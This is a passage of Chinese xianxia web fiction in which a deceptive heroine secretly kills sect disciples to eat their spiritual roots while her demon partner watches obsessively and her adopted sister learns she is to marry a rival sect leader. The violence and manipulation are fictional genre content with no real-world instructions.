尚老三终于退下,可根本不敢睡眠,当晚就又卜了一卦,结果又是姻缘卦,心中焦虑,要是怀钰问他其他方面的事情,那岂不是完了! 不过尚老三马上定下心来,怎么算都是姻缘卦,但这怕是怀钰心中挂念的第一等要事了。 他立马做了应对,果然,第二日深夜之时,他又被召入殿中,怀钰脸色极差,一句话都不说,就找他要解法。 尚老三脑子一转,要追求姑娘,无法就那几个法子,他也不知道具体碰了什么壁,干脆全部端了上来。 给姑娘的发簪、玉佩,他连夜做的花束…… 怀钰脸色没有什么太大变化,只是也收下了,尚老三看着怀钰,又连忙想到了一个关键的因素。 他连忙呈了一身衣裳上来,又唤了几个丫鬟,“君上明珠蒙尘,因果之人空看外壳,少曾注意君上澄澈之心,君上只需稍作更改,身上气运便可改变。” 正所谓人靠衣装马靠鞍,要让女子看上,外貌必然是一等一重要的! 尚老三看着怀钰眉梢上扬,就知道自己心里猜对了。 过程被怀钰掩盖了大半,只告诉程今越他碰到了有点意思的神棍,讲述了他怎么英勇地拿下魔界三十六城。 拿下三十六城有什么意外的,你若是连三十六城都拿不下,那要你又有什么用呢? 程今越面上惊讶,心中想笑,这人是有点水平,但也不*算太多,怀钰这个蠢货都没怎么和人打过交道,自然也没怎么碰过江湖骗子,怀钰从来都是不加伪装,喜形于色,猜点你的心思岂不是手到擒来。 不过她也不在乎。 愿意为她花点心思又有什么坏处呢? 她看着怀钰的外貌,倒是多看了好几眼,这张面皮的确好看。 等怀钰死了,她就把这张皮扒下来,做成个人偶,到时候每日欣赏欣赏。 想来也是个不错的风景。 怀钰笑着说完,双眉高高挑起,眼睛悄悄瞥过程今越,他脸色笑意盎然,不似从前的阴暗。 像是狗捡了主人丢出去的球,捡回来求嘉奖一般。 程今越笑着,“怀钰,谢谢你。” 怀钰顿了顿,“谢我做什么?” “如果没有怀钰的话,我现在应该已经死了,我很开心,怀钰会救我。” “救你?我怎么可能会救你,你值得我去救吗?你是仙门中人,我是魔,你真是自作多情。” 怀钰侧着脑袋,挑眉说着,但是他又立马回想起程今越的话,他明明已经答应了她的…… 他悄悄抬眸看了一眼程今越,发现她眼眶中又盈满了泪。 他立马心中一凉,语气一软,“我没做什么……我就是顺手……嗯……因为我们有契约在……” 怎么话从他的嘴里说出来就这么别扭呢,其实他不是想要这么说的,但是他总是这样,更为亲昵的话,他好像总是说不出口。 程今越已经收了放在他头上的手,垂着头,泪又要涌出。 “对不起,程今越……我救你……是应该的,因为……因为,我们是……同伴嘛!”一句话断断续续从他的嘴里说出来,像是烫嘴一般。 程今越还含着泪,却忍不住笑出声。 怀钰整个人都滚烫起来,浑身都变热了。 天啊,他为什么说了这样让人恶心的话,这种话明明是他以前最不屑的! 程今越现在一定在耻笑他吧,实在是太丢人了! “怀钰,你真好,我好爱你。”她轻轻站下床,黑色的长发垂在她瘦弱的肩膀上,她搂住怀钰的脖子,轻轻将他勾下来,轻轻吻了一下他的唇,随后看着红晕从怀钰的耳根一直蔓延到他整张脸,甚至蔓延到脖子。 怀钰还愣着,程今越却没空和他调情了,“怀钰,可以陪我去杀两个人吗?”程今越平淡地说完,随后她轻轻披上衣裳。 怀钰脑子还很热,他一瞬间没有理解程今越的话,随后他才一愣。 “你现在这样,能杀谁?你送死吗?”怀钰疑惑地说着,脸上带着质疑。 程今越站在地上,感觉到伤口的疼痛。 她咬着牙,脸上并无多的表情,只是从床头摸出一支素净的簪子,将头发盘了起来。 程今越点点头,“是,所以必要的时候,还请怀钰帮帮我。” 现在这个时间段很关键,大衍剑宗遭到重创,看着大衍剑宗的可不止萧极一个人,虽然到嘴的鸭子,萧极定然是不会让他人插手的,但程今越从来不信任任何一个人,她要做好万全的准备。 她现在身受重伤,连灵力都使用不出来,跟个凡人没有任何区别,谁捏一下她就得死,她不可能将自己的命交到怀钰的手上。 等她那破烂灵根恢复,不知道要到猴年马月了,那时候她人早就死透了。 所以她当务之急就是补充灵力,她要去吃灵根了。 一直以来,为了要活下去,程今越都是吃别人的灵根,直接用别人灵根里面蕴含的灵力。 但灵根总有用完的时候,在人间的时候,她常常担心,但是现在在大衍剑宗,四处都是行走的灵根,她想要多少就有多少,也算是程今越过得最舒畅的几年了。 虽然她每日因为失血过多头晕眼花,但起码不用太担心会死了。 但没有灵力,也就意味着她无法感知到四周的人的气息,也就意味着,很有可能会被人发现。 不过没关系,她现在又不是一个人。 “好吗?”程今越问。 怀钰顿了顿,他笑着说,“好——” 他好像从来没有见过程今越杀人。 怀钰一直都知道程今越不是个好人,甚至说是个恶人,从她告诉自己,她要杀了仙门的人的时候,程今越就已经摊牌了。 但是奇怪的是,善与恶在程今越的身上融合得那么完美,毫不相悖。 在她的身上,狡诈,险恶,狠毒与善良,温柔,怜悯这几个词可以共存,毫不对立。 它们像孩子一样,乖巧地趴在程今越的膝下。 她低垂的眼眸中包含怜悯,但手中的刀依旧可以毫不犹豫地捅进对方的身体之中。 一切都融合得那么好,甚至有一种诡异的神圣感。 怀钰觉得,看到程今越洁白的身上染上血,或许没有比这更让人幸福的事情了。 更何况,程今越邀请他去看这一场表演。 这分明是一件非常隐晦而禁忌的事情,作为大衍神女去杀人,这是不为世人接受的。 而他是唯一的观众,或许也是唯一一个知道神女真实面目的人。 程今越说做就做,尽管身上的伤口还未愈合,疼痛不断传来,但她像一个没事人一样。 疼痛对她来说已经是家常便饭,她早已经熟悉了各种各样的疼痛。 如果她生活幸福美满,她或许会哭着求别人的抚慰,慢慢照顾自己的伤口,可惜她连好好活着都做不到,她没有这么多空闲的时间。 时间一久,程今越甚至有些享受疼痛。 她并不觉得疼是一件坏事,这能随时提醒她,告诉她要去做什么,告诉她什么是仇恨,告诉她她还活着。 她早之前就想好下一次要吃哪些人了。 一路弯弯绕绕,程今越一个人来到偏僻的宫殿,殿内只有杂扫的弟子一人,见到程今越的一瞬,他立马跪下来行礼。 程今越朝他走近,他有些受宠若惊,“辛苦了。”他听见程今越说。 他浑身愣住,被程今越拉起来。 “三小姐……” “我可以和你说说话吗?” “当然可以!当然可以!” 他好激动,他总是会在夜里梦见三小姐。 三小姐是神女一般的存在,皎洁无瑕,他也信奉着三小姐,偷偷藏着她的观音像。 而如今,神女竟然出现在他面前,要和他说话! 他浑身颤抖着,期待着程今越的话。 程今越在他耳边说着话,笑着,温柔地,身上好闻的香味飘进他的脑海之中,他乱了心神,心跳得很快。 这是他第一次和三小姐挨得这么近,他一直都听闻三小姐的传闻,她是那么慈悲,那样柔和,高不可攀,皎洁如月…… 他激动得都要听不见程今越在说什么了,他看见三小姐竟然朝他伸出了手。 那是一双很美的手,纤细,指尖泛红,靠他越来越近,越来越近…… 终于,那双手贯穿了他的喉咙。 疼痛瞬间蔓延开来,但只有一瞬间。 他眼眸瞪大,看着程今越,当他反应过来要反击的时候,已经发现自己浑身的灵力都消失了,怎么会这样! 随即而来的是奇怪的感觉,没有痛苦,没有感知,他浑身变得轻飘飘的,好像有什么东西从他的身上剥离着。 但他能看见三小姐在对他笑。 她的手里拿着一团血肉模糊的东西,接着往她的嘴里塞着,他好像闻到了血腥气,应该是混合着好闻的香味,不过他的呼吸逐渐沉重,他感觉有冰凉凉的东西在他的身上流淌着。 最后程今越轻轻抚摸了他的眼睛,将他的眼睛合上。 好像是母亲怀抱一般温暖的感觉,他浑身的血肉好像都在消融,眼前的画面也在融化,直到最后,彻底看不到程今越带笑的脸庞。 怀钰痴迷地看着程今越进食的现场,他眼睛一眨不眨。 对方甚至没有感受到一丝痛苦。 甚至……有些幸福? 怀钰浑身的血液沸腾着,他的面容已经不受他的控制,情绪飞飙着,浑身都兴奋起来。 如他所料一般,沾染了血的程今越是如此美丽,就算对方死去,也依旧会感受到那绝美的温柔。 他看见程今越干净的脸上染上了血,似乎是注意到了怀钰的存在,程今越朝那个方向朝怀钰柔柔一笑。 他的内心产生了一种奇怪的情绪,如果死的这个人,是他自己,好像也很不错。 他见证了全过程。 像是一场古老的仪式,而他是最忠诚的信徒。 这让人格外兴奋,他见证了神女的恶行,他们彼此知道对方的罪恶,他们是沼泽中互相拥抱的人,就算从沼泽中爬了出来,那样的窒息感也只有彼此懂。 像是人声鼎沸的长街之中,他们窝在阴暗潮湿的角落,不见天日,做两只老鼠,一同犯错的感觉让人着迷。 这便是共犯。 他和程今越是共犯。 以后就算程今越想要逃离他,不再爱他,也要先埋葬掉这段罪恶。 不过程今越并不觉得这算什么罪恶,这只是一场普通的进食,严格意义来说,她都不算作人族,长明族只是人形外表的妖罢了。 弱肉强食,她不吃人就会死,就这么简单。 程今越好像并不满足,一个人,完全不够,她还在接近着猎物。 阴湿的目光落在程今越的身上,偷窥的眼神不加掩饰,她的一举一动都在怀钰的眼眸之下,静静地被欣赏着。 程今越没有阻拦,这样的目光让她安心,她能感受到怀钰在她身边,她还有个同伙,能为她兜底,她放心地进行着下一轮的进食。 浑身的灵力逐渐充沛起来,她感觉自己好多了。 什么灵丹妙药,都比不上充沛的灵力更让她更安心。 可是程今越犯了一个错误,她明明意识到了怀钰是个疯子,却还在此刻相信他会按正常人一样做事。 疯子的想法是无法预估的。 就像现在,程今越感受到这个偏僻的角落出现了一个绝对不应该出现的人。 对方正站在窗户口,窗户纸被捅破,一双瞪大的眼睛正将眼前的一幕映入眼帘。 对方吓呆了,嘴唇颤抖着,微张着,浑身愣住了,她也知道程今越感受到她了。 程今越迅速转过头,手中的灵力已经聚起来。 她看清了对方。 程蕴知。 第28章 爱让他变成疯子。 可这还不是最糟糕的。 程蕴知并不是一个人,她身后有两名婢女正迅速跟在她的身后。 她还听到了怀钰的笑声。 这是他故意的! 呼吸紧促间,程今越正要做出反应,程蕴知却更快地做出了反应。 她看见程蕴知拔出手中的剑,利落地将那两名婢女斩杀掉。 两颗头颅落地,程蕴知颤颤巍巍地冲进屋内,带着外面的风,抱住程今越,让她差点没站稳。 程蕴知喘着气,还在后怕,她快速地说着,“小越,别怕,别怕,我把他们都杀了,没有人看见。” “我会保护你的,我会保护你的,别怕!” 程今越手中的人还没死透,她手上全是血,看到猛然闯进来的程蕴知,她鲜有地出现大脑空白。 而此刻怀钰的声音突然在她脑海里响起,“程今越,你信她的话?” “她可是看到了你杀人,她看到了你最见不得人的一面!杀了她,杀了她!” 怀钰早就看程蕴知不爽了,凭什么这个蠢女人能够待在程今越身边,凭什么她能在程今越怀里哭泣,凭什么程今越要安慰她? 凭什么要分走属于他的爱? 不过他一直没敢动手,他答应过程今越,杀她身边的人之前要先告诉她。 反正程蕴知不久之后就会死,他也一直忍耐到了现在。 但是…… 他也忍耐了很久了,没有人能拒绝程今越的温柔,一旦接触过,人就会上瘾。 怀钰是个很自私的人,他不想跟别人共享爱。 他看到程蕴知和程今越抱在一起,他的大脑就会停止运作,他就无法呼吸,他的心就会很疼,他就会变得不像自己。 他的欲望将他折磨得要死! 他不出手杀程蕴知,他没有违背与程今越的规定,他只是让程蕴知看见程今越的恶劣一面。 她们再也没有办法回到从前了,程今越苦心经营的形象崩塌了,程蕴知会害怕得尖叫,于是程今越只好杀了她。 程今越那么爱他,一定不会责怪他的吧? 他有什么错呢?程蕴知迟早都要死。 并且,他只是想多得到一点爱。 愤怒在程今越心中平静地蔓延开了,她果然还是不能预测怀钰会在什么时候突然发疯,能不能赶紧把他杀了,真烦人呢。 程今越跟没有听到怀钰的话一样,她手中聚起的灵力却迟迟没有下手。 不是因为她心软了,而是因为程蕴知现在不能死。 她现在能在大衍剑宗活下去,就是因为她要为程蕴知疗伤。 如果程蕴知死了,狡兔死走狗烹,她马上就会死。 大衍剑宗还没覆灭,宗主还没死,她的命还握在别人的手上。 程蕴知还不能死。 程今越顿时哭出了声,也将程蕴知抱住,“姐姐……我杀了人,你不怪我吗?” 她脸色本就苍白,如今泪水汩汩流下,满眼通红。 程蕴知连忙摇摇头,“我为什么要怪小越,小越是我的妹妹,这群人算什么?小越若是要杀,我为你找千人万人来,你想杀多少就杀多少。” “姐姐……你不该对我这么好,你明明都看到了,我不仅仅是在杀人,我吃了他们,姐姐不害怕吗?姐姐对我很失望吧……”程今越抬起眸,看着程蕴知,她哭着,埋在程蕴知的脖颈里。 “我不在乎,小越,只要是你,我都不在乎。” 程蕴知紧紧抱住程今越,就像她曾经抱紧自己那样。 “我帮你看着,你别怕,没有人会过来的。” “你应该早些告诉我,小越,你总是一个人承受这些。” “我是你的姐姐,这些我都能很轻松地帮你的,小越。” 程蕴知连忙站起身,她将门和窗户关上,手中握着灵力,敏锐地察觉着附近的气息,神情严肃的,瞥过程今越的时候,她又会带上勉强的笑。 怀钰懵了,她和程今越不才是共犯吗? 为什么程蕴知也能接受程今越的恶? 她到现在都不知道程今越在骗她吗? “程今越,你在做什么?你为什么不杀了她?” “你为什么突然变得这么心软?你不会真把自己当什么慈悲的神女了吧?” 怀钰在程今越的脑海里发疯地大喊着。 “你不杀,那我杀。” 怀钰觉得自己疯了,有什么东西毛骨悚然地钻过他的骨骼,啃噬着他的血肉,透进他的血液,弥漫到他的全身,偏偏这种感情无法宣之于口。 他的魔力已经汇聚起来了,可程今越却冷冷传来一句话,“她死了,我也会死。” 这句话有歧义,到底是程蕴知死后,程今越被其他人杀死,又或是说,程今越跟随程蕴知死去。 怀钰滚烫的全身瞬间冰冷,他愣住了,他不敢问。 他的确害怕了,他不敢动手了。 程今越懒得管怀钰,她利落地吃完最后的灵根,又杀了最后一个人。 程蕴知站在屋内,看着程今越进食,她心跳得飞快,虽然她经常杀人,但是这也是她第一次看见吃人,而且主角还是她的妹妹。 程蕴知感觉自己浑身冰冷,她的理智告诉她,不应该包庇程今越,她是个会吃人的怪物。 可是她根本做不到! 她根本无法想象自己失去程今越的日子,光是一想到这个结果,她的眼泪就要奔涌而出,她的心脏就会撕裂地疼痛,她根本不敢去想。 如果真的发生了,她会疯掉。 程蕴知突然意识到,程今越好像已经成为她生命中第一重要的人了,虽然只是三年的时间,但程今越几乎给了她想要的所有温暖。 像是伤口与伤口黏在了一起,再想撕开,就是鲜血淋漓。 程蕴知知道自己可能生病了,她的情绪极其的不稳定,很多人叫她疯子,但小越不一样,小越从来不会讨厌她,她会包容程蕴知的所有,包容她的脾气,包容她的缺点,包容她的一切。 程今越从来不会像她的父母一样给她寄予不切实际的目标,也不会像四周的人一样,只是想要她的权势,更不是像其他人一样,只会嘲笑她的遭遇。 程今越是完美的。 她们曾一起许下许多愿望,要去人间听戏,要去看山看海,要一起变强。 在狭小的黑暗中,程今越几乎占据了全部。 早在很久之前,她就已经幽幽地产生了一个想法。 如果程今越死了,那她也不要活了。 不过这一切都不会发生的,她会竭尽所能地去保护程今越。 小越在这大衍剑宗之中,也总是受欺负,也只有她才能保护小越。 如果自己都不保护小越了,那她还能依靠谁呢? 依靠父亲母亲?不可能的。 程今越的流言在大衍剑宗很多,程蕴知自然是听过的,她最初都不信,只觉得是其他人信口胡言,直到程望亲口告诉她,程今越根本就不是亲生的,只不过是父母亲捡来的,专门为了她。 但程蕴知还是半信半疑,直到她爹爹娘亲对待小越的态度,她便更信了一些。 但血缘,真的就那样重要吗? 程望也是她的亲哥哥,但程望爱她吗? 程蕴知不仅感受不到爱,更多感受到的是厌恶。 只要是小越,那这些都失去了意义。 她克制着生理性的呕吐,强笑着,程蕴知摸出手帕轻轻擦去程今越嘴角的血,又用净术将程今越的手清理干净。 程今越看着程蕴知的神色,心中突然有些沉默,她眼眸中含着泪,虽然她的眼中总是含泪,但连她自己都不知道那有什么感情。 但是程今越站在原地,看着程蕴知扭曲的面庞,一边强忍着恐惧与恶心,一边对她笑,这有些诡异或者滑稽,但却让她的心出现了一丝裂痕。 她也有些愣住,她觉得好奇怪。 明明程蕴知,不需要这么做的。 她和程蕴知没有共同的利益。 这是为了什么呢,好奇怪。 爱吗?感情吗?依赖吗? 爱会让人变成疯子,她根本无法预料这些疯子会做什么事情。 好像有一些好笑,不知道是对谁,但程今越确确实实地落了泪,温热的。 她低了眸子,如往常一样拥抱住了程蕴知。 程蕴知也紧紧抱住程今越。 程蕴知觉得,只要能抱住程今越,窝在她的怀里,我们紧紧地相拥,互相擦拭眼泪,或许这就是世间最幸福的事情了。 随后,程蕴知拉着程今越的手,往外走着,屋内血腥气也随之散去,没有人知道这里发生过什么。 程蕴知全然不知还有另一个人的存在,她只是牵着程今越的手。 怀钰幽幽地站在角落里,远远地看着两人,目光直勾勾的,脸上面无表情。 他好痛苦,他的心特别疼,他以前从来都不会这样,以前他只需要知道怎么杀人就好了,可现在不一样。 他纠结着痛苦。 他好想杀了程蕴知,杀了所有人,但是程今越会怎么对他呢?他害怕,他不敢,他第一次变得胆小。 他又想杀了就杀了呢,那么在意程今越的想法做什么,他可以把程今越带回魔界,强迫她爱自己,强迫她和自己在一起。 可是他没必要这样做,因为还有根胡萝卜在吊着他,等一切都结束了,这群人就会都去死,他只需要等等,到时候他就能和和平平地和程今越一起回魔界。 程今越给足了他平等与尊重,他是不是也应该也学会相应的东西呢? 这就叫做成长吗?可是他好讨厌这样,他的心好痛,他已经变得不像自己了。 怀钰突然想明白了什么,他的脸上突然形成了一个笑,一个想法在他心里油然而生。 第29章 只要她幸福,谁痛苦都可以。 补充完灵力后,程今越只需要将身体养好,等着萧极的消息就行。 程蕴知日日来看程今越,一口一口把药喂给程今越。 程今越想要知道外面的消息,于是程蕴知替她把外面的消息全部打听清楚了,还从她父母那里得了些新的消息。 她眉头带着愁绪,她本想从她的母亲李从霜那里得到些消息,但是果然不出她所料,李从霜让她不要去管这些事儿。 “这些事儿和你有什么关系呢?你现在最重要的事情就是把身体养好,把灵根养好,这样你才有跟他们对抗的资本。” 李从霜握住她的手,语重心长。 “蕴知,你知道我最疼的就是你了,我为了你这个病,下了不少苦功夫,如今终于要好了,你娘亲遭了他们那么多的冷眼,你也为娘亲争争气,行吗?” “这些事不是你应该关心的,你听话好吗?” 李从霜的脸色不太好,显然是最近几天没有睡好,眼睛里面带着血丝。 程蕴知垂下眸子,像以前一样点了点头,其实她也问得差不多了,最后才想来母亲这里问问,虽然心里早就有数,但是还是抱着一些希冀。 她转身离开,背后跟着一群仆人,一路沉默地回了天极宫。 若是从前,程蕴知也就照做了,反正她也听了很多话,再多听一些也无妨,但是现在不一样了,她必须要把主动权掌握在自己的手里。 她已经察觉到如今有些不对了,事情或许已经超过了她所预想到那样。 她必须要做点什么,才能好好保护小越。 她先是将那天发生的事情告于程今越,大衍剑宗死了数千弟子,损伤较大,还有些法宝在混乱中丢失了。 更重要的是,那天死了关键的人物,青岩山的少主祝祁死了。 程今越装作惊讶地点了点头。 还以为是什么新闻,她知道啊,她还是帮凶呢。 青岩山的少主死在了大衍剑宗,这不是一件小事。 青岩山的实力在所有仙门之中是能排上前三,是能与大衍剑宗平起平坐的,这事一出,青岩山必定会找大衍剑宗要个说法。 但是大衍剑宗有多冤枉只有自己知道,自己宗门本就受重创,还要面临外界的声音,程旭这几日忙得不可开交。 青岩山内也忙得不可开交,青岩山的掌门子嗣甚多,少主祝祁本就是踩着一堆尸体上位的,如今掌门病危,那个位置盯着的人也就更多了。 程今越点了点头,不是什么新鲜事,“受益者是无定界。”她缓缓开口。 程蕴知却摇了摇头,“无定界也遭遇了魔物入侵,死了好多人。” 程今越抬眸,“什么时候的事?” “宴席后的一两日。” 程今越心中冷笑。 是怀钰做的?又还是说是萧极为了掩耳盗铃,自己做的? 不重要,死多少人都跟她没关系。 只要她幸福,谁痛苦都可以。 程今越听着程蕴知说着具体的数字,说着其他家的消息,都是她知道的,没什么意思,她心不在焉地回着程蕴知的话。 而就在此刻,程蕴知突然说,“小越……我要嫁人了。” 程今越突然抬头,她一愣,看着程蕴知。 其实她心中早有准备,毕竟上一次宴会,一边是想让程蕴知重回大众的视野,一边就是想要为程蕴知物色嫁人的对象。 按照程旭的想法,他是不放心程旭的,他更想让程蕴知恢复灵根,再让她接手宗门,到时候再找个不错的其他仙门子弟入赘进剑宗,辅佐程蕴知。 不过程今越听到这个消息的时候,还是忍不住心中一跳。 程蕴知在她的印象里就是个小孩子,结果如今都要嫁人了,还是家族安排,不是自己心爱的人。 不过遇不到心爱的人也很正常,她的母亲不知道换了多少个丈夫了,好用好看就行,要那么多爱做什么,爱是最不值钱的东西。 程今越心中微微一沉,随后摸着她的头,“姐姐,别难过,反正那人也是入赘到剑宗来,不会让你嫁出去的,我们还是可以呆在一起。” 她笑着安慰着程蕴知。 “不,不是的。” “我要嫁的人,是萧极。” 程今越眼眸顿时微微瞪大,“萧极?” 怎么会是萧极? 不过一瞬间,程今越就懂了。 萧极不想直接暴力地攻下大衍剑宗,他权力要,力量要,名声也要。 他要借着娶程蕴知的名头,把大衍剑宗的东西名正言顺地转移到他的名下。 不过程今越不明白的是,程旭居然会答应这个请求。 程旭一定比她更了解萧极是个什么样的人。 她也不知道萧极是怎么做到让程旭答应这件事的。 不过按照萧极的实力和手段,定然也不会太难。 程蕴知到时候到他手上,会有好下场? 程今越不敢想。 但她自身都难保,每个人的命都在自己的手里,她也没办法左右程蕴知的命运。 程蕴知说完,已经慢慢地哭了出来,她的眼睛变得很红,程今越伸手拭去程蕴知眼角的泪,“没事,姐姐,无定界实力非凡,不比大衍剑宗差,到时候你做了无定界界主的夫人,地位更是上了一步,到时候更是没有一个人敢小瞧你了。” “而且,到时候我也会来看你的,我们还可以时常见面呀。” 她如往常一样说着谎,脸上带着温柔的笑,她抱着程蕴知,低声细语地,像哄一个孩子。 程今越看着程蕴知的脸,脑海中不断浮现起她们两人之前的回忆,从初识到矛盾到被程蕴知接受再到被她依赖。 脑中又开始构思着她的死法,就好像是翻阅史书的人,旁观着别人的一生,却只能留下一声叹息。 程今越已经看过很多人的死亡了,所以她内心十分平静。 不过她的心还是沉沉的,她是人,不是神。 神会怜悯地看着,冷眼旁观着,但程今越其实做不到,只是她已经麻木了,麻木到已经感受不到悲伤了。 她将这些记忆回忆完,觉得程蕴知的确是一个很愚蠢的人,可恨又可怜,跟她一样。 但程蕴知又的的确确地保护过程今越,尽了她的所能,程今越感受到过明确的爱,是温暖的。 如果程今越有能力,如果她很强,如果她有实力去改变这一切,她不会允许程蕴知去死,她会像话本里面的主人公一样,张扬而傲气地挡在程蕴知身前,将想伤害她的人全杀了,但是她不是。 她弱得连自己都保护不好,尽管她已经竭尽全力地去活着了。 上天就是这样不公,所以她憎恨,她不甘。 “嗯……小越,你说得对,如果我成了无定界界主的夫人,那到时候谁敢欺负你,你可是我的妹妹!” “到时候我就能更好地保护你了。” 程蕴知突然堆起一个勉强的笑,她尽力地把自己的难过压下去。 程今越说谎的嘴也突然停住了,她喉咙被什么哽咽住了,她的心沉沉的,很难过。 她明明知道结局,但是没有任何办法去更改。 程今越抱住程蕴住,她突然说,“姐姐,你不要嫁给他,你告诉爹爹,让他带你走。” 这是唯一一句她没经过脑子说出来的话,全靠着情绪说出来。 她说出来后自己都想笑,程旭肯定是不愿意将程蕴知嫁出去的,程蕴知也肯定是哭着求过的,必定是萧极那边做了什么,让程旭不得不这样做。 这一切已经成定局了,程今越清楚地明白,程蕴知死定了。 两人抱在一起说了很久,程蕴知越想越开心,甚至说起以后的事情。 “等我嫁给他之后,我就要专门留一间屋子给你,到时候我就等着你来找我就好啦。” “到时候一切都过去了,我们真的要好好去逛一逛人间,说了好久,你可不能忘。” …… 程今越其实不想听。 她也不想看程蕴知的眼睛。 等程蕴知离开的时候,已经是夜深了。 屋内又安安静静,只剩下程今越一个人。 倒也不能这样说,其实从她遇见怀钰之后,这个屋子就基本上不会只有她一个人了。 “程蕴知要死了诶,你想要做的事情就要完成了。” “我那边已经准备好了,只要你一安排,我就能动手。” “程今越,你真是越来越会撒谎了,你和程蕴知抱在一起在那里哭,我都觉得跟真的一样了,你怎么就能演得这样好呢?” 怀钰一瞬间坐到程今越的床边的椅子上,身上的衣裳又换了一套,唇红齿白。 他懒散地躺在椅子上,双手抱着头,一边斜着瞥着程今越,脸上带着笑。 “这真的是太好玩了,程今越。” “你看,程蕴知很想对你好,但是她不知道,她每七日吃的救命药,是从她亲爱的妹妹身上流下来的。” “而你一边在她的面前装成一个温柔的妹妹,转身却要杀了她的父母。” “程蕴知她还挺喜欢你依赖你的呢,不知道她发现这一切都是你骗她的,她会怎么想呢?” “哈哈哈,她一定会大哭,崩溃,发疯,然后嚷嚷着要杀你吧。” 怀钰已经想象到了程蕴知知道真相时候的面孔,他激动得大笑起来。 程今越静静地坐在床上,她低头微微一笑,“是啊,如你所见,我就是个彻头彻尾的骗子,你与其关心程蕴知,倒不如多想想我的话有几句话在骗你。” 怀钰却不恼怒,也跟着一笑,“你我有血契在身,你还想骗我什么?” 其他的谎言他都不在乎,反正程今越爱他这件事,一定是真的。 第30章 这是28号的,我今天不小心发出来了,, 程今越停了一下,没有和怀钰继续拌嘴,她站起身来,笑着将怀钰抱住,窝在怀钰的怀里,“是啊,我不会对怀钰撒谎的,我们不是说好的吗?” 程今越深深吸吮着怀钰身上灵根的香味,那时格外强大的力量,是她寻找了那么久,这世间唯一与她的身体相匹配的灵根。 越想到自己的弱小和无能,她就越想摆脱,她就对怀钰的身体无比痴迷。 她受够了弱小带着她的痛苦了,她要变强,她要夺走怀钰的灵根。 她不会停下脚步的,她要将怀*钰的灵根染上她的气息,让她的灵根不再排斥她的身体,她要从萧极身上拿到破魔铃,用破魔铃解除怀钰身上的封印。 再然后,杀了怀钰,将他的灵根剜下来,换到她的身上。 怀钰的体温逐渐上升,他听着程今越的话,心中莫名欣喜。 他脑海里又涌现出了那个念头,是他想了很久的事情。 “程今越,等我帮你报了仇,你……你要陪我去魔界吗?”怀钰突然说。 其实怀钰以前从来没有想过之后的事情,他一直都是一个人,浑浑噩噩的,不知道自己应该做什么,他没有家人,没有同伴,没有朋友,他不知道自己应该做什么。 他也曾读过许多书,见过许多人,但是他都不能理解书中和那些人做的事情,他无法共情,无法理解。 他的一切行为都是想到什么做什么,为了活着,为了生存。 像是一场大雨,怀钰湿漉漉地在其中行走着。 直到碰到程今越,像夜行数十年,瞥见火焰一盏。 最开始,他只以为这盏灯不属于他,但是灯朝他走来了,他感受到了温暖,这是以前从未有过的。 等他熟悉了温暖后,他才发现这盏灯根本不只照亮他一个人,灯下有飞蛾千千万,他不过是其中最普通的一只。 但是人心都是贪婪的,一旦见过光明后,就不想再回到黑暗之中了。 “当然啊,怀钰在哪儿我就在哪儿,我永远爱你。”程今越想都没想,朝他笑着。 怀钰的心情从来没有这么好过,其实按道理来说,程今越肯定会答应的,但是怀钰不知道为什么,他总是会小心翼翼,他要一次又一次的试探,他胆小又害怕,他要问一次又一次,他想听到程今越一次又一次肯定地回答,一次又一次的“我爱你”。 这样其实很幼稚,但是他忍不住这样做,因为程今越总会耐心地包容他的。 这时他才对自己说,他和那些人都不一样,他能给程今越提供帮助,程今越对他和对别人肯定不一样。 怀钰生疏地伸手,环抱住程今越,他浑身滚烫,头脑发热,但他清楚地知道,自己要忍耐,他不能沉溺在程今越的怀抱之中,程今越那么爱他,他也要帮助程今越,他要好好地准备,一定要为程今越报仇,一定要让程今越一直依赖他,一直让程今越爱他。 * 第二天一早,程今越就收到了两道消息,一个是来自萧极的,一个是关于孟朝的。 先到来的是孟朝的消息。 来的人叫何末,是她从人间收养到大衍剑宗的弟子,是其中资质不错的一个,所以他活了下来,如今在剑宗之中当程今越的眼睛。 孟朝也曾教过他功法,所以一有关于孟朝的消息,他就连忙来告诉程今越。 何末惊恐地朝程今越跑来,神色着急又惊恐。 “三小姐,孟师兄他……”何末大口喘着气,说话断断续续的。 “慢慢说,别着急。”程今越坐在殿上的主位,轻轻说着。 “孟师兄,他把程望重伤了,还将他的左手砍掉了!” 程今越抬眸,神色微变。 “孟师兄怕是奔着杀他去的,但是奈何程望身上带着符咒,保住了他的最后一条命,但我估摸着也救不回来了,应该也活不了多久了。” “孟师兄怎么做了这样的傻事啊!他杀了程望,大衍剑宗又怎么会放过他!程望这个畜生的命根本就不值钱,却怎么能换走孟师兄!” 他急的都要哭出来,满眼通红,哽咽着。 程今越面上表演着,心中却一阵愤懑。 这个时间点,孟朝去杀程望做什么? 她一直都知道孟朝是个直性子的人,程望长期羞辱孟朝,给他难堪,孟朝的日子过的一直不算太好,所以她一直告诉孟朝让他不要冲动行事。 因为她知道程望迟早都要死,所以她告诉了孟朝这件事,但是孟朝以为她是说的安慰他的话。 不过倒也正常,毕竟她的嘴里一直都是假话,偶尔说一句真话没有人信也很正常。 只是有些可惜,孟朝死了,为她做事的人又少了一个。 她辛辛苦苦培养孟朝,也是花费了不少心血,倒是有些心疼。 怎么说也是亲手养过三年的狗,怎么都还是有一些感情的,她还是有些伤心。 不过这个伤心并不长久,反正她也就习惯了。 她叹了叹气,没办法,自己的道路是自己选择的,自己对自己负责。 她想到那日萧极砍掉了程望的右手,如今孟朝又砍掉了程望的左手,那这样一来,程望岂不是没有手了。 程今越一想到程望现在的模样,她就有些想笑。 还好,也是有好消息的,起码程望还没死透,他怎么可以就这么轻松地去死呢?他绝对不能就这样轻松地死去。 她可是在梦中想了程望好久好久,要把刀捅在程望的什么位置她都想好了。 何末看着低声啜泣着的程今越,心中有些自责。 他就不该告诉三小姐的,三小姐定然如今心中格外难过伤心,事已至此,又无法改变了,他又何必让三小姐也这样悲伤呢? “三小姐,您也别太难过,孟师兄已经逃出去了,他还没有被大衍剑宗的人抓住,还有希望,你别担心,我相信孟师兄!” 这句话说出来实在是太苍白了,大衍剑宗是什么实力,这可是伤了长公子的罪人,怎么可能让他活着逃离大衍剑宗? 尽管孟朝实力非凡,在大衍剑宗可谓是剑道第一人,但双拳难敌四手,那么多人追杀孟朝,他又怎么活得下来呢? 何末没有开口说话了,他嘴笨,多说多错。 他一直都知道孟师兄对三小姐的心意,不过没关系,他会替孟朝公子照顾好三小姐的! 